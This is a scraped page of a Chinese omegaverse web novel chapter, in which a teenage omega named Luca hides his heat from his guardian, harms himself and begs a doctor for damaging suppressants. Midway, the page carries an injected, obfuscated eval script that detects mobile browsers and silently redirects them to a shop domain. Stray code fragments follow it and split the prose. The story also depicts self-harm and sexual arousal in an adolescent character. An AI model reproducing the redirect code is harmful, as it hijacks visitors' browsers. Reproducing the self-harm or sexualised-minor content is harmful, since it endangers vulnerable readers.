默认冷灰
24号文字
方正启体

10. 业火

作者:詹台本书字数:K更新时间:
    发情期。


    第一次遇到的时候,卢卡以为自己终是疯了。


    冷水劈头盖脸砸下来,他恐惧地用指甲重重划过自己大腿内侧,锥心的疼痛只能刮去一点点痒。


    这些年来,自从知道了发情期的存在,他只要捡到抑制剂就会给自己扎,碰到抑制剂压缩药品就会丢进嘴里嚼着吃掉。


    他用这种方式阻止发情期的到来,其实也还算成功。他已经很久很久,没有在完全不服用抑制剂的情况下发情了。


    omega的发情期很恐怖,激素完全侵蚀大脑,求偶的欲望像业火,也像白蚁,焚烧啮噬人类作为智慧生物的尊严。


    烧毁意识,啃碎边界。


    内心最肮脏的,平日里藏得最深最深,一丁点光彩也不愿去见的念想,会被信息素无限放大,放大到每一个在场的人都会懂得,都被引诱。


    橙花味的沐浴露被反反复复揉搓在卢卡的腺体上,泡沫产生,被冷水冲净,泡沫再被涂抹。


    一遍又一遍,直到在连续服用一周得消炎药后终于恢复正常的腺体再次粉红微肿。


    花洒不带感情地淌着水,石头一样砸在卢卡身上,他泄力地跪在浴缸里,分开的两腿上尽是指甲划出的血痕。


    没用。


    没有任何用。


    ……洗不掉。整间浴室里,洗不掉他的求偶信息素的味道。


    “卢卡斯?”浴室的门被敲响,如同一道惊雷,吓得卢卡从浴缸里跳起来,又差点滑倒。


    他把花洒关小了一点:“怎么了老师?”却更是听见心跳如鼓。


    “你没事吧?要不要我进去帮你?”


    帮?帮什么?


    满浴室的求偶信息素,老师进来能帮他什么?


    卢卡紧绷的纤细神经被阿尔瓦无心的话挑拨得重重一跳,又麻又痒的疼痛弹在他的心上,震得他哪里都难耐,业火燎着他,一节骨头也不放过。


    门把手传来转动的声音。


    卢卡心跳几乎骤停,他不管不顾地冲到门口,死死将门堵住:“不用!我说了不用,让我自己一个人待一会儿不行吗?”


    仓促、不合时宜的发情期,老师的关心所导致的讽刺,每一天都要被上药的感染的部分……这一切激起的焦虑、恐惧、躁动拧在一起,绞着卢卡的胃,他脱口而出的话有些颤抖的尖利。


    水声哗啦,玻璃门内外却寂静无声。


    卢卡几乎是瞬间意识到自己不应该这样和老师讲话。


    他懊悔地扒着门:“老师,我、我不是……”


    “嗯。是我的错,忘记你不是小孩子了。那我走了,有事情你再找我吧。”阿尔瓦平淡的声音透过玻璃门传过来,显得十分遥远,仿佛来自另一个时空。


    这种距离感令卢卡恐慌,不知怎么他的眼前闪过火光,被大火吞没的身影。


    他看不清阿尔瓦的表情。


    此时此刻,隔着浴室的门,他听着老师不喜不悲的话,看不见老师的脸,也就判断不出老师真正的心情。


    害怕,害怕自己让老师感到受伤和失望。


    可是自己难道不早就做过让老师受伤和失望的事情了吗?


    卢卡扒着门滑下去,额头抵在了门上,玻璃凉得有些痛。


    他用力锤了一下湿滑的地板,手指的关节都感到生疼。


    可是这怎么够。


    这都不够。


    他害怕痛。他不想痛。


    可是如果不这样,他就没有办法冷静下来。


    突然到来的发情期把他砸得抱头鼠窜,生怕阳光下的人得知自己是只鄙陋的老鼠。


    生理性的激素控制着卢卡的大脑,哪怕他极力提醒自己不要被欲望和冲动左右。不可避免的,思维变得迟钝、混乱、极端。


    Omega就是这样。


    要藏好。把这件事藏好。卢卡四肢并用着躺回冰凉的浴缸里,他睁着眼睛,花洒上的水顺着他的睫毛滴在他的脸上。


    不能被老师知道。


    他太脏了。老师会不要他的。


    .


    冷水澡冲得太久,久到卢卡的身体冰凉得麻木。他机械般关掉水,用浴巾擦干净自己的身体,再用浴巾一圈一圈把身体严丝合缝地裹起来,遮住指甲的抓痕,剃须刀划破的创口。


    排风扇开到最大,嗡嗡的好像他正处在碎纸机的正中心,小小的四方空间在嗡鸣中挤压扯碎,等待着毁灭,正在进行着毁灭。


    拉开浴室的门,卢卡刚迈出去,随着目光看到的东西,浑身霎时间变得僵硬生疼。


    他的睡衣。


    阿尔瓦买给他的睡衣,叠得平整,正放在浴室的门口。


    而这层楼偌大的走廊中,却并不再见阿尔瓦的身影。


    日薄西山,窗外的日光斜过来,很吝啬。今天的天很蓝,如同一块色卡。


    投射进房间里,显得大理石地板也是蓝色的。


    Omega少年的身影倒立在蓝色的大理石上,久久没有动弹。


    大理石地板倒映不出,他紧紧抿成一条线的嘴唇,还有涨得通红的眼睛。


    那一天的晚饭时间,卢卡忐忑地裹着被子躺在床上,预演了很多遍如果老师来喊自己吃饭,自己要怎样回绝,又要怎样道歉。


    房间里还残存着并未全部散去的鸢尾花的气息,他想着老师,被愧疚折磨,害怕老师来找自己,却又期待自己被老师关心。


    可是时间一点一点过去,直到朦胧的纱帘再也渗透不出一丝来自天空的光线。


    卢卡愣愣地瞧着钟表,好一会儿没有意识到自己读出的数字。


    老师……没有来叫自己吃饭。


    随之而来的是令他胃里打结的恐惧与落寞。


    被子被他扯起来,盖住了他的头,封住了外界的空气。


    他把自己和老师残存的信息素的味道裹进这个密闭的小空间里,好似蜗牛钻进它小小的壳,黑暗温暖地包裹着他,铺天盖地只剩下他和老师两个人的信息素,就好像此时他正蜷缩在老师的怀里一样。


    好像这样可以给他焦灼的内心一丁点安慰。


    愧疚和欲望反复煎熬着他,卢卡紧紧闭着眼睛,过去数年噩梦的碎片不断闪现,同时穿插着今天被老师拥抱,被老师触碰的画面。


    每一帧都带着软刺,一下一下撩拨刺痒他的身体。


    属于omega的生理周期


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609312|187597||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,被他用过量的药物压抑太久太久,他好像从未学习过怎样面对,他只知道逃跑,用会严重伤害他身体的抑制剂,从生理构造所酿成的火海里暂避绝望。


    难受……想……想要更多……不想一个人……


    各种各样的念头在鸢尾花的气味里如雨后春笋般往外冒着,涂过药的生殖腔好似再次感染,好似一万只蚂蚁钻进去筑巢。


    热……


    卢卡的手一点一点往下移,直到他触碰到自己滚烫的皮肤才猛地惊醒。


    他一把掀开被子从床上坐起来,空气中立马逸散开来他的信息素的味道。


    不可以这样。他用指甲掐自己的胳膊,另一只手从床头上摸索来阿尔瓦买给他的手机。


    解锁屏幕的时候,他的手在颤抖。


    通讯录里只有两个人,第一个是老师,第二个是布莱克医生。


    卢卡想也没想,拨通了布莱克医生的电话。


    忙音没响几下,尽管现在已经是深夜,布莱克居然立即接听了电话:“喂?卢卡吗?”


    “嗯。”卢卡被自己嘶哑的声音吓了一跳。


    “是哪里不舒服吗?”布莱克也听出来了他的不对劲,立马追问。


    卢卡苦恼地抓了把头发,难耐的感觉令他显得很烦躁:“我想要抑制剂。你能不能别告诉阿尔瓦。”


    他说话比清醒的时候直白,粗暴。像一个不懂人情世故的熊孩子。


    电话那边沉默了几秒,布莱克消化了这番话的含义:“你……发情期了?”


    “我没有。我就是想要抑制剂备着。”卢卡的声音像哭,他忍得好难受,身上哪里都在痒,身上哪里都在痛。


    他的体温高得像火炉,骨头缝里仿佛在钻蚂蚁。


    冷水一点泼不灭他身上的火,激素的火。


    欲望的罪。


    布莱克沉吟片刻:“不行的,卢卡。抑制剂是对身体伤害非常大的镇定药物,你这个年纪的omega一年最多用一次,但是你的身体很虚弱,抑制剂会给你造成不可逆的伤害。我不能给你抑制剂。”


    “没关系,我不在乎。”卢卡被拒绝后几乎要崩溃了,他满脑子都是抑制剂,布莱克医生说的话跟隔着层磨砂玻璃似的,他其实一句话也没听进去。


    “那也不行。我是你的医生,我要对你的健康负责。阿尔瓦是你的监护人,他会担心你。”


    “老师根本不在乎我。你不懂,他恨我。”


    “那他怎么会找医生来照看你呢?卢卡,你现在产生的所有念头都只是因为激素作用,那都不是真的。你听我说,先深呼吸,喝杯水,去告诉阿尔瓦你发情了,让他给你安抚信息素,我现在出门,马上就到。”布莱克并没有把卢卡的话当真,权当是一个信息素上脑的孩子在胡闹。


    我疯了吗?我告诉老师我发情了。


    卢卡烦得不行,眼睛通红:“我没有发情。不用您来。我也不是您的雇主,当我没打过这通电话吧。”


    说完,他扔掉手机,下床穿鞋。


    他要去外面。


    去外面找药店,找垃圾桶。


    之前他一个人的时候是怎么过来的,他这次也要那么做。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)